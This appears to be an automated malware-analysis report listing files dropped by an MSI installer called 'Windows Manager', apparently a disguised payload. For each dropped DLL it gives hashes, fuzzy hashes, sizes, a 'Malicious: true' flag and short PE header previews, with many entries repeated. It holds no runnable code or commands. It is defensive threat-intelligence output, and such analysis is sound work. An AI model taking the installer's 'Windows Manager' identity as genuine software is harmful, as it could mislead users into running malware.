Preview:	...@IXOS.@.....@.v.W.@.....@.....@.....@.....@.....@......&.{C845414C-903C-4218-9DE7-132AB97FDF62}..Windows Manager$.Windows Manager - Postback Johan.msi.@.....@.....@.....@......logo.exe..&.{C5EBDD8B-C384-4CB5-9A33-9A4EF2189D51}.....@.....@.....@.....@.......@.....@.....@.......@......Windows Manager......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]...@.......@........InstallInitialize......&.{FDBC5875-BBA4-4DA5-9048-A196A21FE49A}....&.{C5EBDD8B-C384-4CB5-9A33-9A4EF2189D51}c.&.{FDBC5875-BBA4-4DA5-9048-A196A21FE49A}D...logo.exeD...SystemFoldermsiexec.exe............ProcessComponents..Updating component registration...@.....@.....@.]....&.{28FDA578-EFA5-4A4F-A558-E4219B09577D}&.{C845414C-903C-4218-9DE7-132AB97FDF62}..&.{28FDA578-EFA5-4A4F-A558-E4219B09577D}...@......&.{D30ED18A-DEA4-45D6-8A1F-1643C3CC79C1}&.{C845414C-903C-4218-9DE7-132AB97FDF62}..&.{D30ED18A-DEA4-45D6-8A1F-1643C3CC79C1}...@......&.{C48C1022-6EC4-4C0F-BB98-0EA64D330920}&.{C845414C-9

C:\Windows\Installer\MSIBD12.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	194064
Entropy (8bit):	6.416801574526807
Encrypted:	false
SSDEEP:	3072:pj+sQSJ38YR4h04SZto/ycbzhfIZk7yukfxYJyAfqgT7Z14hZliQiPD4:J+FQ38t/SZfkVfISkC7R7Z1uri0
MD5:	B0DDA68E058A4CAA8B88AA2A47961D2A
SHA1:	76AF9DE0D7512B9581A787648C2F8997EC1347DD
SHA-256:	05640FEC802CC4F0F0865671473E54187CA3FC495B17D62E6D89B0019DDA9291
SHA-512:	DA9F0EE169DEB615B1B771963F4FE0039E20E45D45A8AE6FAEEF22C9B8E5833F8F1EB67A4D3C4B0DD7DBB134DA6230142ADA3579D81A4020D4E4FB05EE9A5731
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........z...)...)...),.(...),.(o..)..(.)..(.),.(.)..(..),.(...),.(.)...)...)..(.)..(...)..g)...)...)...)..(...)Rich...)........PE..L...].gb.........."!......................... ......................................i.....@.........................@..........x.......x............................y..p...................@z.......$..@............ ......L...@....................text............................... ..`.rdata....... ......................@..@.data...............................@....rsrc...x...........................@..@.reloc........... ..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIBD80.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	194064
Entropy (8bit):	6.416801574526807
Encrypted:	false
SSDEEP:	3072:pj+sQSJ38YR4h04SZto/ycbzhfIZk7yukfxYJyAfqgT7Z14hZliQiPD4:J+FQ38t/SZfkVfISkC7R7Z1uri0
MD5:	B0DDA68E058A4CAA8B88AA2A47961D2A
SHA1:	76AF9DE0D7512B9581A787648C2F8997EC1347DD
SHA-256:	05640FEC802CC4F0F0865671473E54187CA3FC495B17D62E6D89B0019DDA9291
SHA-512:	DA9F0EE169DEB615B1B771963F4FE0039E20E45D45A8AE6FAEEF22C9B8E5833F8F1EB67A4D3C4B0DD7DBB134DA6230142ADA3579D81A4020D4E4FB05EE9A5731
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........z...)...)...),.(...),.(o..)..(.)..(.),.(.)..(..),.(...),.(.)...)...)..(.)..(...)..g)...)...)...)..(...)Rich...)........PE..L...].gb.........."!......................... ......................................i.....@.........................@..........x.......x............................y..p...................@z.......$..@............ ......L...@....................text............................... ..`.rdata....... ......................@..@.data...............................@....rsrc...x...........................@..@.reloc........... ..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIBDFE.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	808464
Entropy (8bit):	6.399509710294407
Encrypted:	false
SSDEEP:	12288:LPO8KYTJAJ5NqLaphV6mzFf3zLha2xqe4k+pqm8esHxYs265R3PPn70+8xM9:LG/pPhPzLM28e4UtHh5R3PPn70+8xM9
MD5:	DD1F93EB81E6C99BA9BE55B0C12E8BB4
SHA1:	1D767983AAA4EB5C9E19409CF529969142033850
SHA-256:	F55B853958F07B15F0DAE7A871C1EBE2EC117EF54BA3811D31CEC4C8AE471D9B
SHA-512:	7968839CA3E7337B2E7774D92C4A3666E9B7D8D76000475B39C2BDA6DB3320FC9B2100322505997798AF5631A007787FBD8D0D6FE0B51949C545C67E696AAF1A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......bu.2&..a&..a&..a.f.`+..a.f.`...aDl.`7..aDl.`>..aDl.`u..a.f.`>..a.f.`'..a.f.`;..a&..a...a.m.`h..a.m.`'..a.m(a'..a&.@a$..a.m.`'..aRich&..a........................PE..L.....gb.........."!.........R......................................................4/....@......................... ................................8..........p...H...p...............................@............................................text...x........................... ..`.rdata..0...........................@..@.data...@...........................@....rsrc................B..............@..@.reloc..p............Z..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIC10D.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	783784
Entropy (8bit):	6.388227283064485
Encrypted:	false
SSDEEP:	12288:JB0aQYpzr8qjh/Kf+UA0i6mjqBUBavHqNajAJLVxAKNYFglvqrr3m/Xz/b/cEV:v0ax050IUBeqkeVJYFCqrLm/Xz/b/cEV
MD5:	07DF9CA625C2CB953B2A7F7F699CEE7C
SHA1:	3225E84B51BA76EB650231C94231B70B70B997C9
SHA-256:	265D462E9BD3FC4BDF925590A852707A52E0707407FDC4BA40A468542E8DBB77
SHA-512:	104A32900AC3F7A3815CE4670AA430677EB48BD3B8A5E17F0A05C333B8FAF776756408784C8191EA51FFD54AD52D7FCBF2611570A275EFDC6BF1B04B5706F9FD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........p..[.y.[.y.[.y.Ozz.V.y.Oz\|...y.7e}.J.y.7ez.L.y.7e\|...y.Oz}.C.y.Oz..Z.y.Ozx.F.y.[.x.h.y.ep...y.ey.Z.y.e..Z.y.[...Y.y.e{.Z.y.Rich[.y.........................PE..L...].\`.........."!.........F............................................... ............@..........................M.......N....... .......................@..$...h5..p....................6.......5..@............................................text...h........................... ..`.rdata..............................@..@.data........`.......H..............@....rsrc........ ......................@..@.reloc..$....@......................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIDA43.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	808464
Entropy (8bit):	6.399509710294407
Encrypted:	false
SSDEEP:	12288:LPO8KYTJAJ5NqLaphV6mzFf3zLha2xqe4k+pqm8esHxYs265R3PPn70+8xM9:LG/pPhPzLM28e4UtHh5R3PPn70+8xM9
MD5:	DD1F93EB81E6C99BA9BE55B0C12E8BB4
SHA1:	1D767983AAA4EB5C9E19409CF529969142033850
SHA-256:	F55B853958F07B15F0DAE7A871C1EBE2EC117EF54BA3811D31CEC4C8AE471D9B
SHA-512:	7968839CA3E7337B2E7774D92C4A3666E9B7D8D76000475B39C2BDA6DB3320FC9B2100322505997798AF5631A007787FBD8D0D6FE0B51949C545C67E696AAF1A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......bu.2&..a&..a&..a.f.`+..a.f.`...aDl.`7..aDl.`>..aDl.`u..a.f.`>..a.f.`'..a.f.`;..a&..a...a.m.`h..a.m.`'..a.m(a'..a&.@a$..a.m.`'..aRich&..a........................PE..L.....gb.........."!.........R......................................................4/....@......................... ................................8..........p...H...p...............................@............................................text...x........................... ..`.rdata..0...........................@..@.data...@...........................@....rsrc................B..............@..@.reloc..p............Z..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIDA82.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	536592
Entropy (8bit):	6.427124970627738
Encrypted:	false
SSDEEP:	6144:s32hV/GguOWuGAtLppJZZ5QNIwqKljoMA3KzAOXalOHZRrQinqR/S:m2hV/BGgpV3QWyjwmklOHZ3nq5S
MD5:	6EA65025106536EB75F026E46643B099
SHA1:	D6F5801E370C92D8E5C2336B4022CC6CB6EC1F99
SHA-256:	DAE76CCE74D63E7935FDE4383020659D75B68632F8A01F2053EC895E69BB4EFB
SHA-512:	062AED4C7541346B7338E1D234A50AA9AF76F103A65268BA65A42508A26C10CC27CCFCE6131485403AFA36D8A8CD69F3BF1E55CD1A1F675357B87228AACBB988
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R...<...<...<...?...<...9.u.<...8...<...?...<...9...<...8...<...:...<...=...<...=.m.<.^.5...<.^.<...<.^....<.....<.^.>...<.Rich..<.........PE..L...Z.gb.........."!.........................................................P............@.........................P...(...x...,...............................0Z......p...............................@...............(............................text............................... ..`.rdata..............................@..@.data...t"..........................@....rsrc...............................@..@.reloc..0Z.......\..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIDAA3.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	536592
Entropy (8bit):	6.427124970627738
Encrypted:	false
SSDEEP:	6144:s32hV/GguOWuGAtLppJZZ5QNIwqKljoMA3KzAOXalOHZRrQinqR/S:m2hV/BGgpV3QWyjwmklOHZ3nq5S
MD5:	6EA65025106536EB75F026E46643B099
SHA1:	D6F5801E370C92D8E5C2336B4022CC6CB6EC1F99
SHA-256:	DAE76CCE74D63E7935FDE4383020659D75B68632F8A01F2053EC895E69BB4EFB
SHA-512:	062AED4C7541346B7338E1D234A50AA9AF76F103A65268BA65A42508A26C10CC27CCFCE6131485403AFA36D8A8CD69F3BF1E55CD1A1F675357B87228AACBB988
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R...<...<...<...?...<...9.u.<...8...<...?...<...9...<...8...<...:...<...=...<...=.m.<.^.5...<.^.<...<.^....<.....<.^.>...<.Rich..<.........PE..L...Z.gb.........."!.........................................................P............@.........................P...(...x...,...............................0Z......p...............................@...............(............................text............................... ..`.rdata..............................@..@.data...t"..........................@....rsrc...............................@..@.reloc..0Z.......\..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIDAD2.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	536592
Entropy (8bit):	6.427124970627738
Encrypted:	false
SSDEEP:	6144:s32hV/GguOWuGAtLppJZZ5QNIwqKljoMA3KzAOXalOHZRrQinqR/S:m2hV/BGgpV3QWyjwmklOHZ3nq5S
MD5:	6EA65025106536EB75F026E46643B099
SHA1:	D6F5801E370C92D8E5C2336B4022CC6CB6EC1F99
SHA-256:	DAE76CCE74D63E7935FDE4383020659D75B68632F8A01F2053EC895E69BB4EFB
SHA-512:	062AED4C7541346B7338E1D234A50AA9AF76F103A65268BA65A42508A26C10CC27CCFCE6131485403AFA36D8A8CD69F3BF1E55CD1A1F675357B87228AACBB988
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R...<...<...<...?...<...9.u.<...8...<...?...<...9...<...8...<...:...<...=...<...=.m.<.^.5...<.^.<...<.^....<.....<.^.>...<.Rich..<.........PE..L...Z.gb.........."!.........................................................P............@.........................P...(...x...,...............................0Z......p...............................@...............(............................text............................... ..`.rdata..............................@..@.data...t"..........................@....rsrc...............................@..@.reloc..0Z.......\..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIDB50.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	536592
Entropy (8bit):	6.427124970627738
Encrypted:	false
SSDEEP:	6144:s32hV/GguOWuGAtLppJZZ5QNIwqKljoMA3KzAOXalOHZRrQinqR/S:m2hV/BGgpV3QWyjwmklOHZ3nq5S
MD5:	6EA65025106536EB75F026E46643B099
SHA1:	D6F5801E370C92D8E5C2336B4022CC6CB6EC1F99
SHA-256:	DAE76CCE74D63E7935FDE4383020659D75B68632F8A01F2053EC895E69BB4EFB
SHA-512:	062AED4C7541346B7338E1D234A50AA9AF76F103A65268BA65A42508A26C10CC27CCFCE6131485403AFA36D8A8CD69F3BF1E55CD1A1F675357B87228AACBB988
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R...<...<...<...?...<...9.u.<...8...<...?...<...9...<...8...<...:...<...=...<...=.m.<.^.5...<.^.<...<.^....<.....<.^.>...<.Rich..<.........PE..L...Z.gb.........."!.........................................................P............@.........................P...(...x...,...............................0Z......p...............................@...............(............................text............................... ..`.rdata..............................@..@.data...t"..........................@....rsrc...............................@..@.reloc..0Z.......\..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIDBDE.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	536592
Entropy (8bit):	6.427124970627738
Encrypted:	false
SSDEEP:	6144:s32hV/GguOWuGAtLppJZZ5QNIwqKljoMA3KzAOXalOHZRrQinqR/S:m2hV/BGgpV3QWyjwmklOHZ3nq5S
MD5:	6EA65025106536EB75F026E46643B099
SHA1:	D6F5801E370C92D8E5C2336B4022CC6CB6EC1F99
SHA-256:	DAE76CCE74D63E7935FDE4383020659D75B68632F8A01F2053EC895E69BB4EFB
SHA-512:	062AED4C7541346B7338E1D234A50AA9AF76F103A65268BA65A42508A26C10CC27CCFCE6131485403AFA36D8A8CD69F3BF1E55CD1A1F675357B87228AACBB988
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R...<...<...<...?...<...9.u.<...8...<...?...<...9...<...8...<...:...<...=...<...=.m.<.^.5...<.^.<...<.^....<.....<.^.>...<.Rich..<.........PE..L...Z.gb.........."!.........................................................P............@.........................P...(...x...,...............................0Z......p...............................@...............(............................text............................... ..`.rdata..............................@..@.data...t"..........................@....rsrc...............................@..@.reloc..0Z.......\..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIDC0E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	808464
Entropy (8bit):	6.399509710294407
Encrypted:	false
SSDEEP:	12288:LPO8KYTJAJ5NqLaphV6mzFf3zLha2xqe4k+pqm8esHxYs265R3PPn70+8xM9:LG/pPhPzLM28e4UtHh5R3PPn70+8xM9
MD5:	DD1F93EB81E6C99BA9BE55B0C12E8BB4
SHA1:	1D767983AAA4EB5C9E19409CF529969142033850
SHA-256:	F55B853958F07B15F0DAE7A871C1EBE2EC117EF54BA3811D31CEC4C8AE471D9B
SHA-512:	7968839CA3E7337B2E7774D92C4A3666E9B7D8D76000475B39C2BDA6DB3320FC9B2100322505997798AF5631A007787FBD8D0D6FE0B51949C545C67E696AAF1A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......bu.2&..a&..a&..a.f.`+..a.f.`...aDl.`7..aDl.`>..aDl.`u..a.f.`>..a.f.`'..a.f.`;..a&..a...a.m.`h..a.m.`'..a.m(a'..a&.@a$..a.m.`'..aRich&..a........................PE..L.....gb.........."!.........R......................................................4/....@......................... ................................8..........p...H...p...............................@............................................text...x........................... ..`.rdata..0...........................@..@.data...@...........................@....rsrc................B..............@..@.reloc..p............Z..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIDC4D.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	935952
Entropy (8bit):	6.465848738967934
Encrypted:	false
SSDEEP:	24576:w327CUJc4RQ8Btk8Y5EiwB4aNXVW+hv+AhiC:cAc4RQ8BtDAoB4aNXVW+hv+AhiC
MD5:	91D4A8C2C296EF53DD8C01B9AF69B735
SHA1:	AD2E5311A0F2DBBA988FBDB6FCF70034FDA3920D
SHA-256:	A787E7A1AD12783FCBF3F853940590329E0FF0DDDF17282324F2D95ED6408F23
SHA-512:	63C5506A55DEA2B3BD1C99B79B5668F5AFC0104564E92F07AFB42F2F2B67EAE9D0E0174CB36E6095A27A6C71496206042079B6E5A2B2FF787F3CB9EF20995E9E
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........:b..[...[...[..7)...[..7)..Q[..#...[..#...[..#..[..7)...[..7)...[...[...Z..d"...[..d"...[..d"...[...[...[..d"...[..Rich.[..........PE..L...!.gb.........."!................ ........................................p......,.....@.........................0\|..t....\|.......`...............*.......p.......,..p...................@-.......+..@............................................text...N........................... ..`.rdata..T...........................@..@.data...T............x..............@....rsrc........`.......,..............@..@.reloc.......p.......2..............@..B................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIE603.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	808464
Entropy (8bit):	6.399509710294407
Encrypted:	false
SSDEEP:	12288:LPO8KYTJAJ5NqLaphV6mzFf3zLha2xqe4k+pqm8esHxYs265R3PPn70+8xM9:LG/pPhPzLM28e4UtHh5R3PPn70+8xM9
MD5:	DD1F93EB81E6C99BA9BE55B0C12E8BB4
SHA1:	1D767983AAA4EB5C9E19409CF529969142033850
SHA-256:	F55B853958F07B15F0DAE7A871C1EBE2EC117EF54BA3811D31CEC4C8AE471D9B
SHA-512:	7968839CA3E7337B2E7774D92C4A3666E9B7D8D76000475B39C2BDA6DB3320FC9B2100322505997798AF5631A007787FBD8D0D6FE0B51949C545C67E696AAF1A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......bu.2&..a&..a&..a.f.`+..a.f.`...aDl.`7..aDl.`>..aDl.`u..a.f.`>..a.f.`'..a.f.`;..a&..a...a.m.`h..a.m.`'..a.m(a'..a&.@a$..a.m.`'..aRich&..a........................PE..L.....gb.........."!.........R......................................................4/....@......................... ................................8..........p...H...p...............................@............................................text...x........................... ..`.rdata..0...........................@..@.data...@...........................@....rsrc................B..............@..@.reloc..p............Z..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIE633.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	536592
Entropy (8bit):	6.427124970627738
Encrypted:	false
SSDEEP:	6144:s32hV/GguOWuGAtLppJZZ5QNIwqKljoMA3KzAOXalOHZRrQinqR/S:m2hV/BGgpV3QWyjwmklOHZ3nq5S
MD5:	6EA65025106536EB75F026E46643B099
SHA1:	D6F5801E370C92D8E5C2336B4022CC6CB6EC1F99
SHA-256:	DAE76CCE74D63E7935FDE4383020659D75B68632F8A01F2053EC895E69BB4EFB
SHA-512:	062AED4C7541346B7338E1D234A50AA9AF76F103A65268BA65A42508A26C10CC27CCFCE6131485403AFA36D8A8CD69F3BF1E55CD1A1F675357B87228AACBB988
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R...<...<...<...?...<...9.u.<...8...<...?...<...9...<...8...<...:...<...=...<...=.m.<.^.5...<.^.<...<.^....<.....<.^.>...<.Rich..<.........PE..L...Z.gb.........."!.........................................................P............@.........................P...(...x...,...............................0Z......p...............................@...............(............................text............................... ..`.rdata..............................@..@.data...t"..........................@....rsrc...............................@..@.reloc..0Z.......\..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIE663.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	619024
Entropy (8bit):	6.436769279281569
Encrypted:	false
SSDEEP:	12288:SPN4ezd+X2P+nDxK5AW8WDExKYoWNico9pj6QZC8d9ZP9Zb:SP8VKWfKEjoW8p3jtZC8d9ZP9Zb
MD5:	0D093A6DB075DB4D3AF06337A6CFC3F3
SHA1:	7A27265809C47F96F29A09A960BADD4C83BDB167
SHA-256:	F4C42C1393B907430C89BC504B24A589438690496A38BF7B75358ADBDB48F6B3
SHA-512:	1D857EBFCF2526DD142AB72320073AE582DCF26C2D2A0D4C67267BD038182145572CA9C015F06A895555B90D8558DACFA4DF6D7A105F6072D356A71532AC87F9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9.+^Xsx^Xsx^Xsx.pySXsx.vy.Xsx< wyOXsx< pyFXsx.wyGXsx< vy.Xsx.uy_Xsx.*ryIXsx^Xrx.Ysx.!zy.Xsx.!sy_Xsx.!.x_Xsx^X.x_Xsx.!qy_XsxRich^Xsx........PE..L.....gb.........."!................l.....................................................@......................... .......<........0..h............T.......@...^......p...................@...........@.......................@....................text...&........................... ..`.rdata...!......."..................@..@.data...0"..........................@....rsrc...h....0......................@..@.reloc...^...@...`..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIE73E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	808464
Entropy (8bit):	6.399509710294407
Encrypted:	false
SSDEEP:	12288:LPO8KYTJAJ5NqLaphV6mzFf3zLha2xqe4k+pqm8esHxYs265R3PPn70+8xM9:LG/pPhPzLM28e4UtHh5R3PPn70+8xM9
MD5:	DD1F93EB81E6C99BA9BE55B0C12E8BB4
SHA1:	1D767983AAA4EB5C9E19409CF529969142033850
SHA-256:	F55B853958F07B15F0DAE7A871C1EBE2EC117EF54BA3811D31CEC4C8AE471D9B
SHA-512:	7968839CA3E7337B2E7774D92C4A3666E9B7D8D76000475B39C2BDA6DB3320FC9B2100322505997798AF5631A007787FBD8D0D6FE0B51949C545C67E696AAF1A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......bu.2&..a&..a&..a.f.`+..a.f.`...aDl.`7..aDl.`>..aDl.`u..a.f.`>..a.f.`'..a.f.`;..a&..a...a.m.`h..a.m.`'..a.m(a'..a&.@a$..a.m.`'..aRich&..a........................PE..L.....gb.........."!.........R......................................................4/....@......................... ................................8..........p...H...p...............................@............................................text...x........................... ..`.rdata..0...........................@..@.data...@...........................@....rsrc................B..............@..@.reloc..p............Z..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIE7AD.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	783784
Entropy (8bit):	6.388227283064485
Encrypted:	false
SSDEEP:	12288:JB0aQYpzr8qjh/Kf+UA0i6mjqBUBavHqNajAJLVxAKNYFglvqrr3m/Xz/b/cEV:v0ax050IUBeqkeVJYFCqrLm/Xz/b/cEV
MD5:	07DF9CA625C2CB953B2A7F7F699CEE7C
SHA1:	3225E84B51BA76EB650231C94231B70B70B997C9
SHA-256:	265D462E9BD3FC4BDF925590A852707A52E0707407FDC4BA40A468542E8DBB77
SHA-512:	104A32900AC3F7A3815CE4670AA430677EB48BD3B8A5E17F0A05C333B8FAF776756408784C8191EA51FFD54AD52D7FCBF2611570A275EFDC6BF1B04B5706F9FD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........p..[.y.[.y.[.y.Ozz.V.y.Oz\|...y.7e}.J.y.7ez.L.y.7e\|...y.Oz}.C.y.Oz..Z.y.Ozx.F.y.[.x.h.y.ep...y.ey.Z.y.e..Z.y.[...Y.y.e{.Z.y.Rich[.y.........................PE..L...].\`.........."!.........F............................................... ............@..........................M.......N....... .......................@..$...h5..p....................6.......5..@............................................text...h........................... ..`.rdata..............................@..@.data........`.......H..............@....rsrc........ ......................@..@.reloc..$....@......................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIE7CD.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	385960
Entropy (8bit):	6.405386710561945
Encrypted:	false
SSDEEP:	6144:vrDow+ZsrLg3bmfKlGzIqSqYf+SAOfVKE/M5TiyX:3owv43bqKlRHJVa9iyX
MD5:	D07DDD437009EBB9C21882579BF2DF0D
SHA1:	A24A636DB25ED29E5353FA5D274BF80C2AB8AD98
SHA-256:	C4F49B995E259A043AF81D987C6781B8736F5709348BB997EDAD183CCC396CAF
SHA-512:	8C845EC3EFFC0041DB3A550ADDDC1F175E1169CA00767C89D38FABAA59F97AE987B529C0AD71D0DEF0007A21FB3FD98200B0834408C5889D93F9EA035C60ECA3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........{........................?.........................................................C......C.......C.............C.......Rich............PE..L.....\`.........."!................ZV....................................................@.........................`l......4t..........0........................>..8...p...............................@............... ............................text...O........................... ..`.rdata..............................@..@.data................x..............@....rsrc...0...........................@..@.reloc...>.......@..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIE7ED.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	385960
Entropy (8bit):	6.405386710561945
Encrypted:	false
SSDEEP:	6144:vrDow+ZsrLg3bmfKlGzIqSqYf+SAOfVKE/M5TiyX:3owv43bqKlRHJVa9iyX
MD5:	D07DDD437009EBB9C21882579BF2DF0D
SHA1:	A24A636DB25ED29E5353FA5D274BF80C2AB8AD98
SHA-256:	C4F49B995E259A043AF81D987C6781B8736F5709348BB997EDAD183CCC396CAF
SHA-512:	8C845EC3EFFC0041DB3A550ADDDC1F175E1169CA00767C89D38FABAA59F97AE987B529C0AD71D0DEF0007A21FB3FD98200B0834408C5889D93F9EA035C60ECA3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........{........................?.........................................................C......C.......C.............C.......Rich............PE..L.....\`.........."!................ZV....................................................@.........................`l......4t..........0........................>..8...p...............................@............... ............................text...O........................... ..`.rdata..............................@..@.data................x..............@....rsrc...0...........................@..@.reloc...>.......@..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIE80D.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	385960
Entropy (8bit):	6.405386710561945
Encrypted:	false
SSDEEP:	6144:vrDow+ZsrLg3bmfKlGzIqSqYf+SAOfVKE/M5TiyX:3owv43bqKlRHJVa9iyX
MD5:	D07DDD437009EBB9C21882579BF2DF0D
SHA1:	A24A636DB25ED29E5353FA5D274BF80C2AB8AD98
SHA-256:	C4F49B995E259A043AF81D987C6781B8736F5709348BB997EDAD183CCC396CAF
SHA-512:	8C845EC3EFFC0041DB3A550ADDDC1F175E1169CA00767C89D38FABAA59F97AE987B529C0AD71D0DEF0007A21FB3FD98200B0834408C5889D93F9EA035C60ECA3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........{........................?.........................................................C......C.......C.............C.......Rich............PE..L.....\`.........."!................ZV....................................................@.........................`l......4t..........0........................>..8...p...............................@............... ............................text...O........................... ..`.rdata..............................@..@.data................x..............@....rsrc...0...........................@..@.reloc...>.......@..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIE81E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	385960
Entropy (8bit):	6.405386710561945
Encrypted:	false
SSDEEP:	6144:vrDow+ZsrLg3bmfKlGzIqSqYf+SAOfVKE/M5TiyX:3owv43bqKlRHJVa9iyX
MD5:	D07DDD437009EBB9C21882579BF2DF0D
SHA1:	A24A636DB25ED29E5353FA5D274BF80C2AB8AD98
SHA-256:	C4F49B995E259A043AF81D987C6781B8736F5709348BB997EDAD183CCC396CAF
SHA-512:	8C845EC3EFFC0041DB3A550ADDDC1F175E1169CA00767C89D38FABAA59F97AE987B529C0AD71D0DEF0007A21FB3FD98200B0834408C5889D93F9EA035C60ECA3
Malicious:	true
Reputation:	unknown
